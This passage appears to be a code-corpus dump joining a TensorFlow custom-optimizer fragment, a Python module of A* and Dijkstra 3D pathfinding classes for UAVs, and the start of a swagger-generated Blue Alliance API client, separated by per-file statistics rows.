math_ops.cast(self._gamma_t, var.dtype.base_dtype) beta_t = math_ops.cast(self._beta_t, var.dtype.base_dtype) epsilon_t = math_ops.cast(self._epsilon_t, var.dtype.base_dtype) betaL_t = math_ops.cast(self._betaL_t, var.dtype.base_dtype) c_t = math_ops.cast(self._c_t, var.dtype.base_dtype) # Getting the updated t value required for correction. t_new = self._get_non_slot_variable("iterations") # Getting the moment value and calculating the corrected updated value. mt = self.get_slot(var, "mt") mt_new = mt.assign((gamma_t * mt) + ((1 - gamma_t) * grad)) corr_mt_new = mt_new / (1-tf.math.pow(gamma_t,t_new)) pr_g = self.get_slot(var, "pr_g") dt = self.get_slot(var, "dt") new_dt = dt.assign(grad - pr_g) # Getting the velocity value and calculating the corrected updated value. vt = self.get_slot(var, "vt") vt_new = vt.assign((beta_t * vt) + ((1 - beta_t) * tf.square(grad))) corr_vt_new = vt_new / (1-tf.pow(beta_t,t_new)) l = tf.norm(pr_g) / (tf.norm(new_dt) + c_t) Lt = self._get_non_slot_variable(var.name + "/Ls") new_Ls = Lt.assign((betaL_t * Lt) + ((1 - betaL_t) * l)) new_lr = tf.cond(tf.less(t_new, 2), lambda: lr_t, lambda: lr_t * new_Ls) # Updating weights based on the final update equation. update_val = (new_lr * corr_mt_new) / tf.sqrt(corr_vt_new + epsilon_t) with ops.control_dependencies([new_lr]): new_prg = pr_g.assign(grad) var_update = state_ops.assign_sub(var, update_val) return control_flow_ops.group(*[var_update,mt_new, vt_new, new_prg, new_dt, new_Ls]) def _finish(self, update_ops, name_scope): it = self._get_non_slot_variable("iterations") new_it = it.assign(it + 1) return control_flow_ops.group(*(update_ops + [new_it]), name=name_scope) class RMSLip(optimizer.Optimizer): def __init__(self, learning_rate=0.01, gamma=0.9, beta=0.999, betaL=0.8, epsilon=1e-8, c=1e-8, use_locking=False, name="RMSLip"): super(RMSLip, self).__init__(use_locking, name) self._lr = learning_rate; self._gamma = gamma; self._beta = beta; self._epsilon = epsilon self._lr_t = None; self._gamma_t = None; self._beta_t = None; self._epsilon_t = None self._betaL = betaL self._c = c def _prepare(self): self._lr_t = ops.convert_to_tensor(self._lr) self._gamma_t = ops.convert_to_tensor(self._gamma) self._beta_t = ops.convert_to_tensor(self._beta) self._betaL_t = ops.convert_to_tensor(self._betaL) self._epsilon_t = ops.convert_to_tensor(self._epsilon) self._c_t = ops.convert_to_tensor(self._c) def _create_slots(self, var_list): self.first_var = min(var_list, key=lambda x: x.name) self._create_non_slot_variable(initial_value=np.array([1.0], dtype="float32"), name="iterations", colocate_with=self.first_var) for v in var_list: self._zeros_slot(v, "mt", self._name) self._zeros_slot(v, "vt", self._name) self._zeros_slot(v, "pr_g", self._name) self._zeros_slot(v, "dt", self._name) self._create_non_slot_variable(initial_value=np.array([1.0], dtype="float32"), name=v.name + "/Ls", colocate_with=v) def _resource_apply_dense(self, grad, var): lr_t = math_ops.cast(self._lr_t, var.dtype.base_dtype) gamma_t = math_ops.cast(self._gamma_t, var.dtype.base_dtype) beta_t = math_ops.cast(self._beta_t, var.dtype.base_dtype) epsilon_t = math_ops.cast(self._epsilon_t, var.dtype.base_dtype) betaL_t = math_ops.cast(self._betaL_t, var.dtype.base_dtype) c_t = math_ops.cast(self._c_t, var.dtype.base_dtype) # Getting the updated t value required for correction. t_new = self._get_non_slot_variable("iterations") pr_g = self.get_slot(var, "pr_g") dt = self.get_slot(var, "dt") new_dt = dt.assign(grad - pr_g) # Getting the velocity value and calculating the corrected updated value. vt = self.get_slot(var, "vt") vt_new = vt.assign((beta_t * vt) + ((1 - beta_t) * tf.square(grad))) l = tf.norm(pr_g) / (tf.norm(new_dt) + c_t) Lt = self._get_non_slot_variable(var.name + "/Ls") new_Ls = Lt.assign((betaL_t * Lt) + ((1 - betaL_t) * l)) new_lr = tf.cond(tf.less(t_new, 2), lambda: lr_t, lambda: lr_t * new_Ls) # Updating weights based on the final update equation. update_val = (new_lr * grad) / tf.sqrt(vt_new + epsilon_t) with ops.control_dependencies([new_lr]): new_prg = pr_g.assign(grad) var_update = state_ops.assign_sub(var, update_val) return control_flow_ops.group(*[var_update, vt_new, new_dt, new_Ls, new_prg]) def _finish(self, update_ops, name_scope): it = self._get_non_slot_variable("iterations") new_it = it.assign(it + 1) return control_flow_ops.group(*(update_ops + [new_it]), name=name_scope)
42.624
150
0.626314
1,600
10,656
3.81
0.079375
0.022966
0.034285
0.040518
0.920276
0.912894
0.898622
0.898622
0.891732
0.885007
0
0.01083
0.254786
10,656
250
151
42.624
0.756832
0.051426
0
0.7875
0
0
0.023858
0
0
0
0
0
0
1
0.09375
false
0
0.04375
0
0.19375
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
04341f12a6af54e7c22112711ab1fe13a1d6f89f
38,878
py
Python
hierarchy_astar_uavs/hierarchy_astar_uavs/Astar.py
jn89b/hierarchy_astar_uavs
4714260fc1b1d8c431a5ef2f259503918b90b2ed
[ "MIT" ]
null
null
null
hierarchy_astar_uavs/hierarchy_astar_uavs/Astar.py
jn89b/hierarchy_astar_uavs
4714260fc1b1d8c431a5ef2f259503918b90b2ed
[ "MIT" ]
null
null
null
hierarchy_astar_uavs/hierarchy_astar_uavs/Astar.py
jn89b/hierarchy_astar_uavs
4714260fc1b1d8c431a5ef2f259503918b90b2ed
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- """ Created on Wed Oct 20 16:14:14 2021 @author: jn89b this is due for a refactor Astar take in grid size take in collision objects take in x amount of drones """ from queue import PriorityQueue from scipy import spatial import numpy as np import collections import heapq import numpy as np import matplotlib.pyplot as plt import math as m import re,seaborn as sns from matplotlib.animation import FuncAnimation, PillowWriter, FFMpegWriter import time import os import glob import csv import pandas as pd from IPython import display class Node(): """ parent = parent of current node posiition = position of node right now it will be x,y coordinates g = cost from start to current to node h = heuristic f = is total cost """ def __init__(self, parent, position): self.parent = parent self.position = position self.g = 0 self.h = 0 self.f = 0 def __lt__(self, other): return self.f < other.f # Compare nodes def __eq__(self, other): return self.position == other.position # Print node def __repr__(self): return ('({0},{1})'.format(self.position, self.f)) class Astar(): def __init__(self, grid, obs_list,start, goal, col_bubble, weight_factor): self.grid = grid self.grid_z, self.grid_x, self.grid_y = grid.shape self.start = start self.goal = goal #print("starting", start, goal) self.collision_bubble = col_bubble self.weight_factor = weight_factor # self.height_boundary = 20 # self.ground_boundary = 5 self.obstacle_list = obs_list self.openset = PriorityQueue() # priority queue self.closedset = {} def is_collision(self,distance): """check if there is a collision if so return True""" if distance <= self.collision_bubble: return True def find_closest_obstacle(self, obstacles, current_position): """find closest obstacle from obstacle list, wrt current position""" tree = spatial.KDTree(obstacles) dist, obst_index = tree.query(current_position) return dist, obst_index def init_node(self): start_node = Node(None,tuple(self.start)) start_node.g = start_node.h = start_node.f = 0 self.openset.put((start_node.f, start_node)) #self.openset.append(start_node) self.end_node = Node(None, tuple(self.goal)) self.end_node.g = self.end_node.h = self.end_node.f = 0 def is_move_valid(self, node_position): """check if move made is valid if so then return True""" if (node_position[0] > (self.grid_x) or node_position[0] < 0 or node_position[1] > (self.grid_y) or node_position[1] < 0 or node_position[2] > self.grid_z or node_position[2] < 0 ): return False def is_target_close(self, position, goal): """check if we are close to target if so we remove the penalty heuristic for flying high or low""" distance = self.compute_euclidean(position, goal) if distance <= 1.5: return True #This function return the path of the search def return_path(self,current_node, grid): path = [] no_rows = len(grid) no_columns = len(grid) # here we create the initialized result maze with -1 in every position result = [[-1 for i in range(no_columns)] for j in range(no_rows)] current = current_node while current is not None: path.append(current.position) current = current.parent # Return reversed path as we need to show from start to end path path = path[::-1] start_value = 0 waypoints = [] for points in path: waypoints.append(points) return waypoints def compute_euclidean(self,position, goal): """compute euclidean distance""" distance = m.sqrt(((position[0] - goal.position[0]) ** 2) + ((position[1] - goal.position[1]) ** 2) + ((position[2] - goal.position[2]) ** 2)) return distance def main(self): ss = 1 move = [[ss, 0, 0 ], # go forward [ 0, -ss, 0], # go left [ -ss, 0 , 0], # go backward [ 0, ss, 0 ], #go right [ss, ss, 0 ], #go forward right [ss, -ss, 0], #go forward left [-ss, ss, 0 ], #go back right [-ss, -ss, 0], #go back left [ 0, ss , ss], #go up z [ 0, ss, -ss], [ 0, 0, -ss] #go up z ] # go down z self.init_node() count = 0 """main implementation""" while not self.openset.empty(): count = count + 1 if count >= 4000: print("iterations too much for regular Astar") return None, count, self.closedset #pop node off from priority queue and add into closedset cost,current_node = self.openset.get() self.closedset[current_node.position] = current_node #check if we hit the goal if current_node.position == self.end_node.position: #print("Goal reached", current_node.position) path = self.return_path(current_node, self.grid) #print("success!", count) return path, count, self.closedset #move generation children = [] for new_position in move: node_position = (current_node.position[0] + new_position[0], current_node.position[1] + new_position[1], current_node.position[2] + new_position[2]) # Make sure within range (check if within maze boundary) if self.is_move_valid(node_position) == False: #print("move is invalid", node_position) continue # Make sure walkable terrain have to minus 1 because the way python indexes -> its stupid if self.grid[node_position[2]-1,node_position[0]-1, node_position[1]-1] != 0: #print("not walkable") continue #check collision bubble here dist, obst_index = self.find_closest_obstacle(self.obstacle_list, node_position) #print("checking", self.obstacle_list[obst_index]) if self.is_collision(dist): #print("collision") continue #create new node new_node = Node(current_node, node_position) # put to possible paths children.append(new_node) #check each children for child in children: #check if children is already visited if child.position in self.closedset: #print("Exists", child.position) continue if abs(current_node.position[2] - child.position[2]) == 1: penalty = 1.05 #print("penalty", penalty) else: penalty = 1 """Heuristic costs calculated here, this is using eucledian distance""" #print("child.position", child.position) if self.is_target_close(current_node.position, self.end_node): #print("current_node", current_node.position) #print("target is close", current_node.position) cost = self.compute_euclidean(current_node.position, child) child.g = current_node.g + 1 child.h = self.compute_euclidean(child.position, self.end_node) dynamic_weight = 0.75 child.f = child.g + (child.h *penalty*dynamic_weight) #print(child.f) else: dynamic_weight = self.weight_factor cost = self.compute_euclidean(current_node.position, child) #print(current_node.g) child.g = current_node.g + 1 #dynamic_weight = 15 child.h = self.compute_euclidean(child.position, self.end_node) child.f = child.g + (child.h *penalty*dynamic_weight) #print("putting in", child) self.openset.put((child.f, child)) class AstarGraph(): def __init__(self, graph, reservation_table, start_location, end_location, collision_bubble): self.graph = graph self.reservation_table = reservation_table self.reservation_list = list(reservation_table) self.start_location = start_location self.end_location = end_location self.collision_bubble = collision_bubble self.openset = PriorityQueue() # priority queue self.closedset = {} self.iter_limit = 5000 #this is stupid should be a paramter def __init_nodes(self): """initialize start and end location nodes""" start_node = Node(None, self.start_location) start_node.g = start_node.h = start_node.f = 0 self.openset.put((start_node.f, start_node)) end_node = Node(None, self.end_location) end_node.g = end_node.h = end_node.f = 0 def __check_at_goal(self, current_position): """check if we have arrived at the goal""" if current_position == self.end_location: return True def __find_closest_obstacle(self, obstacles, current_position): """find closest obstacle from obstacle list, wrt current position""" tree = spatial.KDTree(obstacles) dist, obst_index = tree.query(current_position) return dist, obst_index def __return_path_to_goal(self, current_node): """return path to starts""" path_goal = [] current = current_node while current is not None: path_goal.append(current.position) current = current.parent #reverse path path_goal = path_goal[::-1] #print("path to goal is", path_goal) return path_goal def __unpack_tuple_coordinates(self, tuple_coords): """return tuple coordinates as a list""" return [tuple_coords[0],tuple_coords[1],tuple_coords[2]] def __make_node(self, current_node, neighbor_node): """inserts a new potential node to my neighbor based on neighbor and references it to the current node as parent""" new_node = Node(current_node, neighbor_node.location) new_node.g = current_node.g + neighbor_node.cost new_node.h = self.__compute_euclidean(neighbor_node.location, self.end_location) new_node.f = new_node.g + new_node.h return new_node def __compute_euclidean(self,position, goal): """compute euclidean distance as heuristic""" distance = m.sqrt(((position[0] - goal[0]) ** 2) + ((position[1] - goal[1]) ** 2) + ((position[2] - goal[2]) ** 2)) return distance def is_collision(self,distance): """check if there is a collision if so return True""" if distance <= self.collision_bubble: return True def main(self): """main implementation""" self.__init_nodes() #setting a iter count to prevent it from running forever iter_count = 0 while not self.openset.empty(): iter_count = iter_count + 1 #pop current node off cost,current_node = self.openset.get() if iter_count >= self.iter_limit: # iter count return iter_count,self.closedset if self.__check_at_goal(current_node.position): path_home = self.__return_path_to_goal(current_node) return path_home self.closedset[str(current_node.position)] = current_node current_node_position = self.__unpack_tuple_coordinates(current_node.position) neighbors = self.graph[str(current_node_position)] for neighbor in neighbors: if neighbor.location == current_node_position: continue if str(neighbor.location) in self.closedset: continue if neighbor.location[0:2] == current_node_position[0:2]: continue if tuple(neighbor.location) in self.reservation_table: continue #make new node new_node = self.__make_node(current_node, neighbor) #put to open set self.openset.put((new_node.f, new_node)) iter_count +=1 class AstarReg(): """might need to refactor the original Astar to include some set things or inherit from original Astar and use polymorphism for weaker post condition stronger postcondition constraints Improvmeents: refactor heuristics by the following: do a gradient iteration change delta z from start to goal: if negative then we want to go up so set cost to go down higher if positive then we want to go down so set cost to up higher """ def __init__(self, grid, reservation_table, obs_list,start, goal, col_bubble, weight_factor): self.grid = grid self.grid_z, self.grid_x, self.grid_y = grid.shape self.start = start self.goal = goal self.reservation_list = list(reservation_table) self.collision_bubble = col_bubble self.weight_factor = weight_factor self.reservation_table = reservation_table self.obstacle_list = obs_list self.openset = PriorityQueue() # priority queue self.closedset = {} #print(self.start[2], self.goal[2]) if int(self.start[2]) - int(self.goal[2]) < 0.0: self._determine_penalty = "going down" else: self._determine_penalty = "going up" # else: # self._determine_penalty = "level" def is_collision(self,distance): """check if there is a collision if so return True""" if distance <= self.collision_bubble: return True def find_closest_obstacle(self, obstacles, current_position): """find closest obstacle from obstacle list, wrt current position""" tree = spatial.KDTree(obstacles) dist, obst_index = tree.query(current_position) return dist, obst_index def init_node(self): start_node = Node(None,tuple(self.start)) start_node.g = start_node.h = start_node.f = 0 self.openset.put((start_node.f, start_node)) #self.openset.append(start_node) self.end_node = Node(None, tuple(self.goal)) self.end_node.g = self.end_node.h = self.end_node.f = 0 def is_move_valid(self, node_position): """check if move made is valid if so then return True""" if (node_position[0] > (self.grid_x) or node_position[0] < 0 or node_position[1] > (self.grid_y) or node_position[1] < 0 or node_position[2] > self.grid_z or node_position[2] < 0 ): return False def is_target_close(self, position, goal): """check if we are close to target if so we remove the penalty heuristic for flying high or low""" distance = self.compute_euclidean(position, goal) if distance <= 1.5: return True def __determine_penalty(self): """determines the penalty of the cost for changing height if want to end at higher position -> penalize going down if want to end at lower position -> penalize going up """ if self.start[2] - self.goal[2] <= 0: return "going down" else: return "going up" def __compute_penalty(self, current_z, new_z): """compute penalty""" diff_z = current_z - new_z if self._determine_penalty == "going down" and diff_z > 0: return 1.15 if self._determine_penalty == "going up" and diff_z < 0: return 1.15 # if self._determine_penalty =="level": # return 1 return 1.0 #This function return the path of the search def return_path(self,current_node, grid): path = [] no_rows = len(grid) no_columns = len(grid) # here we create the initialized result maze with -1 in every position result = [[-1 for i in range(no_columns)] for j in range(no_rows)] current = current_node while current is not None: path.append(current.position) current = current.parent # Return reversed path as we need to show from start to end path path = path[::-1] start_value = 0 waypoints = [] for points in path: waypoints.append(points) return waypoints def compute_euclidean(self,position, goal): """compute euclidean distance""" distance = m.sqrt(((position[0] - goal.position[0]) ** 2) + ((position[1] - goal.position[1]) ** 2) + ((position[2] - goal.position[2]) ** 2)) return distance def get_moves(self, ss): """returns all 3d moves based on a step size""" bounds = list(np.arange(-ss, ss+1, 1)) move_list = [] for i in bounds: for j in bounds: for k in bounds: move_list.append([i,j,k]) #remove the value that doesnt move move_list.remove([0,0,0]) return move_list def main(self): ss = 1 move = self.get_moves(ss) self.init_node() count = 0 """main implementation""" while not self.openset.empty(): count = count + 1 if count >= 5000: print("iterations too much for low level") return None, count, self.closedset #pop node off from priority queue and add into closedset cost,current_node = self.openset.get() self.closedset[current_node.position] = current_node #check if we hit the goal if current_node.position == self.end_node.position: #print("Goal reached", current_node.position) path = self.return_path(current_node, self.grid) print("success!", count) return path, count, self.closedset #move generation children = [] for new_position in move: node_position = (current_node.position[0] + new_position[0], current_node.position[1] + new_position[1], current_node.position[2] + new_position[2]) # Make sure within range (check if within maze boundary) if self.is_move_valid(node_position) == False: #print("move is invalid", node_position) continue # Make sure walkable terrain have to minus 1 because the way python indexes -> its stupid if self.grid[node_position[2]-1,node_position[0]-1, node_position[1]-1] != 0: #print("not walkable") continue #check collision bubble here dist, obst_index = self.find_closest_obstacle(self.obstacle_list, node_position) #print("checking", self.obstacle_list[obst_index]) if self.is_collision(dist): #print("collision") continue if tuple(node_position) in self.reservation_table: #print("its in the low level reservation table") continue #create new node new_node = Node(current_node, node_position) # put to possible paths children.append(new_node) #check each children for child in children: #check if children is already visited if child.position in self.closedset: #print("Exists", child.position) continue """refactor this, determine if I am going up or down then adjust the heuristic""" penalty = self.__compute_penalty( current_node.position[2], child.position[2]) """Heuristic costs calculated here, this is using eucledian distance""" #print("child.position", child.position) #dynamic_weight = self.weight_factor cost = self.compute_euclidean(current_node.position, child) child.g = current_node.g + 1 child.h = self.compute_euclidean(child.position, self.end_node) child.f = child.g + (child.h) self.openset.put((child.f, child)) class AstarLowLevel(): """might need to refactor the original Astar to include some set things or inherit from original Astar and use polymorphism for weaker post condition stronger postcondition constraints Improvmeents: refactor heuristics by the following: do a gradient iteration change delta z from start to goal: if negative then we want to go up so set cost to go down higher if positive then we want to go down so set cost to up higher """ def __init__(self, grid, reservation_table, obs_list,start, goal, col_bubble, weight_factor): self.grid = grid self.grid_z, self.grid_x, self.grid_y = grid.shape self.start = start self.goal = goal self.reservation_list = list(reservation_table) self.collision_bubble = col_bubble self.weight_factor = weight_factor self.reservation_table = reservation_table self.obstacle_list = obs_list self.openset = PriorityQueue() # priority queue self.closedset = {} #print(self.start[2], self.goal[2]) if int(self.start[2]) - int(self.goal[2]) < 0.0: self._determine_penalty = "going down" else: self._determine_penalty = "going up" # else: # self._determine_penalty = "level" def is_collision(self,distance): """check if there is a collision if so return True""" if distance <= self.collision_bubble: return True def find_closest_obstacle(self, obstacles, current_position): """find closest obstacle from obstacle list, wrt current position""" tree = spatial.KDTree(obstacles) dist, obst_index = tree.query(current_position) return dist, obst_index def init_node(self): start_node = Node(None,tuple(self.start)) start_node.g = start_node.h = start_node.f = 0 self.openset.put((start_node.f, start_node)) #self.openset.append(start_node) self.end_node = Node(None, tuple(self.goal)) self.end_node.g = self.end_node.h = self.end_node.f = 0 def is_move_valid(self, node_position): """check if move made is valid if so then return True""" if (node_position[0] > (self.grid_x) or node_position[0] < 0 or node_position[1] > (self.grid_y) or node_position[1] < 0 or node_position[2] > self.grid_z or node_position[2] < 0 ): return False def is_target_close(self, position, goal): """check if we are close to target if so we remove the penalty heuristic for flying high or low""" distance = self.compute_euclidean(position, goal) if distance <= 1.5: return True def __determine_penalty(self): """determines the penalty of the cost for changing height if want to end at higher position -> penalize going down if want to end at lower position -> penalize going up """ if self.start[2] - self.goal[2] <= 0: return "going down" else: return "going up" def __compute_penalty(self, current_z, new_z): """compute penalty""" diff_z = current_z - new_z if self._determine_penalty == "going down" and diff_z > 0: return 1.15 if self._determine_penalty == "going up" and diff_z < 0: return 1.15 # if self._determine_penalty =="level": # return 1 return 1.0 #This function return the path of the search def return_path(self,current_node, grid): path = [] no_rows = len(grid) no_columns = len(grid) # here we create the initialized result maze with -1 in every position result = [[-1 for i in range(no_columns)] for j in range(no_rows)] current = current_node while current is not None: path.append(current.position) current = current.parent # Return reversed path as we need to show from start to end path path = path[::-1] start_value = 0 waypoints = [] for points in path: waypoints.append(points) return waypoints def compute_euclidean(self,position, goal): """compute euclidean distance""" distance = m.sqrt(((position[0] - goal.position[0]) ** 2) + ((position[1] - goal.position[1]) ** 2) + ((position[2] - goal.position[2]) ** 2)) return distance def get_moves(self, ss): """returns all 3d moves based on a step size""" bounds = list(np.arange(-ss, ss+1, 1)) move_list = [] for i in bounds: for j in bounds: for k in bounds: move_list.append([i,j,k]) #remove the value that doesnt move move_list.remove([0,0,0]) return move_list def main(self): ss = 1 move = self.get_moves(ss) self.init_node() count = 0 """main implementation""" while not self.openset.empty(): count = count + 1 if count >= 5000: print("iterations too much for low level") return None, count, self.closedset #pop node off from priority queue and add into closedset cost,current_node = self.openset.get() self.closedset[current_node.position] = current_node #check if we hit the goal if current_node.position == self.end_node.position: #print("Goal reached", current_node.position) path = self.return_path(current_node, self.grid) print("success!", count) return path, count, self.closedset #move generation children = [] for new_position in move: node_position = (current_node.position[0] + new_position[0], current_node.position[1] + new_position[1], current_node.position[2] + new_position[2]) # Make sure within range (check if within maze boundary) if self.is_move_valid(node_position) == False: #print("move is invalid", node_position) continue # Make sure walkable terrain have to minus 1 because the way python indexes -> its stupid if self.grid[node_position[2]-1,node_position[0]-1, node_position[1]-1] != 0: #print("not walkable") continue #check collision bubble here dist, obst_index = self.find_closest_obstacle(self.obstacle_list, node_position) #print("checking", self.obstacle_list[obst_index]) if self.is_collision(dist): #print("collision") continue if tuple(node_position) in self.reservation_table: #print("its in the low level reservation table") continue #create new node new_node = Node(current_node, node_position) # put to possible paths children.append(new_node) #check each children for child in children: #check if children is already visited if child.position in self.closedset: #print("Exists", child.position) continue """refactor this, determine if I am going up or down then adjust the heuristic""" penalty = self.__compute_penalty( current_node.position[2], child.position[2]) """Heuristic costs calculated here, this is using eucledian distance""" #print("child.position", child.position) if self.is_target_close(current_node.position, self.end_node): cost = self.compute_euclidean(current_node.position, child) child.g = current_node.g + 1 child.h = self.compute_euclidean(child.position, self.end_node) dynamic_weight = 0.75 child.f = child.g + (child.h *penalty*dynamic_weight) #print(child.f) else: dynamic_weight = self.weight_factor cost = self.compute_euclidean(current_node.position, child) child.g = current_node.g + 1 child.h = self.compute_euclidean(child.position, self.end_node) child.f = child.g + (child.h *penalty*dynamic_weight) self.openset.put((child.f, child)) class Djikstras(): """Regular 3 Dimensional Djikstra's """ def __init__(self, grid, reservation_table, obs_list,start, goal, col_bubble, weight_factor): self.grid = grid self.grid_z, self.grid_x, self.grid_y = grid.shape self.start = start self.goal = goal self.reservation_list = list(reservation_table) self.collision_bubble = col_bubble self.weight_factor = weight_factor self.reservation_table = reservation_table self.obstacle_list = obs_list self.openset = PriorityQueue() # priority queue self.closedset = {} #print(self.start[2], self.goal[2]) if int(self.start[2]) - int(self.goal[2]) < 0.0: self._determine_penalty = "going down" else: self._determine_penalty = "going up" def is_collision(self,distance): """check if there is a collision if so return True""" if distance <= self.collision_bubble: return True def find_closest_obstacle(self, obstacles, current_position): """find closest obstacle from obstacle list, wrt current position""" tree = spatial.KDTree(obstacles) dist, obst_index = tree.query(current_position) return dist, obst_index def init_node(self): start_node = Node(None,tuple(self.start)) start_node.g = start_node.h = start_node.f = 0 self.openset.put((start_node.f, start_node)) #self.openset.append(start_node) self.end_node = Node(None, tuple(self.goal)) self.end_node.g = self.end_node.h = self.end_node.f = 0 def is_move_valid(self, node_position): """check if move made is valid if so then return True""" if (node_position[0] > (self.grid_x) or node_position[0] < 0 or node_position[1] > (self.grid_y) or node_position[1] < 0 or node_position[2] > self.grid_z or node_position[2] < 0 ): return False def is_target_close(self, position, goal): """check if we are close to target if so we remove the penalty heuristic for flying high or low""" distance = self.compute_euclidean(position, goal) if distance <= 1.5: return True def __determine_penalty(self): """determines the penalty of the cost for changing height if want to end at higher position -> penalize going down if want to end at lower position -> penalize going up """ if self.start[2] - self.goal[2] <= 0: return "going down" else: return "going up" #This function return the path of the search def return_path(self,current_node, grid): path = [] no_rows = len(grid) no_columns = len(grid) # here we create the initialized result maze with -1 in every position result = [[-1 for i in range(no_columns)] for j in range(no_rows)] current = current_node while current is not None: path.append(current.position) current = current.parent # Return reversed path as we need to show from start to end path path = path[::-1] start_value = 0 waypoints = [] for points in path: waypoints.append(points) return waypoints def compute_euclidean(self,position, goal): """compute euclidean distance""" distance = m.sqrt(((position[0] - goal.position[0]) ** 2) + ((position[1] - goal.position[1]) ** 2) + ((position[2] - goal.position[2]) ** 2)) return distance def get_moves(self, ss): """returns all 3d moves based on a step size""" bounds = list(np.arange(-ss, ss+1, 1)) move_list = [] for i in bounds: for j in bounds: for k in bounds: move_list.append([i,j,k]) #remove the value that doesnt move move_list.remove([0,0,0]) return move_list def main(self): ss = 1 move = self.get_moves(ss) self.init_node() count = 0 """main implementation""" while not self.openset.empty(): count = count + 1 if count >= 50000: print("iterations too much for low level") return None, count, self.closedset #pop node off from priority queue and add into closedset cost,current_node = self.openset.get() self.closedset[current_node.position] = current_node #check if we hit the goal if current_node.position == self.end_node.position: #print("Goal reached", current_node.position) path = self.return_path(current_node, self.grid) print("success!", count) return path, count, self.closedset #move generation children = [] for new_position in move: node_position = (current_node.position[0] + new_position[0], current_node.position[1] + new_position[1], current_node.position[2] + new_position[2]) # Make sure within range (check if within maze boundary) if self.is_move_valid(node_position) == False: #print("move is invalid", node_position) continue # Make sure walkable terrain have to minus 1 because the way python indexes -> its stupid if self.grid[node_position[2]-1,node_position[0]-1, node_position[1]-1] != 0: #print("not walkable") continue #check collision bubble here dist, obst_index = self.find_closest_obstacle(self.obstacle_list, node_position) #print("checking", self.obstacle_list[obst_index]) if self.is_collision(dist): #print("collision") continue if tuple(node_position) in self.reservation_table: #print("its in the low level reservation table") continue if tuple(node_position) in self.closedset: #print("its in the closed set") continue #create new node new_node = Node(current_node, node_position) # put to possible paths children.append(new_node) #check each children for child in children: #check if children is already visited if tuple(child.position) in self.closedset: print("Exists", child.position) continue #home = abs(self.compute_euclidean(self.start, child)) cost = abs(self.compute_euclidean(current_node.position, child)) child.g = current_node.g + cost child.f = child.g self.openset.put((child.f, child))
38.228122
165
0.549051
4,533
38,878
4.553497
0.073241
0.065113
0.040502
0.010125
0.860908
0.845356
0.834262
0.822538
0.822538
0.817596
0
0.014052
0.36666
38,878
1,016
166
38.265748
0.824229
0.207238
0
0.817717
0
0
0.010722
0
0
0
0
0
0
1
0.098808
false
0
0.027257
0.005111
0.236797
0.013629
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
f0dc12b8714b9fb29a011a934ec4cf1fa27bed38
182,312
py
Python
swagger_client/api/team_api.py
trc492/FrcDataAnalytics
4af82445ad9e10c47318104006aa25937681c18b
[ "MIT" ]
null
null
null
swagger_client/api/team_api.py
trc492/FrcDataAnalytics
4af82445ad9e10c47318104006aa25937681c18b
[ "MIT" ]
null
null
null
swagger_client/api/team_api.py
trc492/FrcDataAnalytics
4af82445ad9e10c47318104006aa25937681c18b
[ "MIT" ]
null
null
null
# coding: utf-8 """ The Blue Alliance API v3 # Overview Information and statistics about FIRST Robotics Competition teams and events. # Authentication All endpoints require an Auth Key to be passed in the header `X-TBA-Auth-Key`. If you do not have an auth key yet, you can obtain one from your [Account Page](/account). A `User-Agent` header may need to be set to prevent a 403 Unauthorized error. # noqa: E501 OpenAPI spec version: 3.04.1 Generated by: https://github.com/swagger-api/swagger-codegen.git """ from __future__ import absolute_import import re # noqa: F401 # python 2 and python 3 compatibility library import six from swagger_client.api_client import ApiClient class TeamApi(object): """NOTE: This class is auto generated by the swagger code generator program. Do not edit the class manually. Ref: https://github.com/swagger-api/swagger-codegen """ def __init__(self, api_client=None): if api_client is None: api_client = ApiClient() self.api_client = api_client def get_district_rankings(self, district_key, **kwargs): # noqa: E501 """get_district_rankings # noqa: E501 Gets a list of team district rankings for the given district. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_district_rankings(district_key, async_req=True) >>> result = thread.get() :param async_req bool :param str district_key: TBA District Key, eg `2016fim` (required) :param str if_modified_since: Value of the `Last-Modified` header in the most recently cached response by the client. :return: list[DistrictRanking] If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.get_district_rankings_with_http_info(district_key, **kwargs) # noqa: E501 else: (data) = self.get_district_rankings_with_http_info(district_key, **kwargs) # noqa: E501 return data def get_district_rankings_with_http_info(self, district_key, **kwargs): # noqa: E501 """get_district_rankings # noqa: E501 Gets a list of team district rankings for the given district. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_district_rankings_with_http_info(district_key, async_req=True) >>> result = thread.get() :param async_req bool :param str district_key: TBA District Key, eg `2016fim` (required) :param str if_modified_since: Value of the `Last-Modified` header in the most recently cached response by the client. :return: list[DistrictRanking] If the method is called asynchronously, returns the request thread. """ all_params = ['district_key', 'if_modified_since'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method get_district_rankings" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'district_key' is set if ('district_key' not in params or params['district_key'] is None): raise ValueError("Missing the required parameter `district_key` when calling `get_district_rankings`") # noqa: E501 collection_formats = {} path_params = {} if 'district_key' in params: path_params['district_key'] = params['district_key'] # noqa: E501 query_params = [] header_params = {} if 'if_modified_since' in params: header_params['If-Modified-Since'] = params['if_modified_since'] # noqa: E501 form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['apiKey'] # noqa: E501 return self.api_client.call_api( '/district/{district_key}/rankings', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='list[DistrictRanking]', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def get_district_teams(self, district_key, **kwargs): # noqa: E501 """get_district_teams # 